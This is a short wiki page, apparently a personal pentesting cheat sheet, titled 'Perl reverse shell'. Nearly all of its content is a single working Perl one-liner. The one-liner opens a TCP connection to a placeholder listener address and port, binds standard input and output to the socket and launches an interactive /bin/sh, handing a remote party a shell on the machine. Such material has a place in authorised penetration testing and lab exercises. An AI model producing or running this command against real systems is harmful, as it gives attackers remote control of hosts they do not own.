Perl reverse shell

From Luniwiki
Jump to: navigation, search
perl -e 'use Socket;$i="<IP_LISTENER>";$p=<SOCKET_LISTENER>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

References

Daniel Simao 15:22, 3 January 2020 (EST)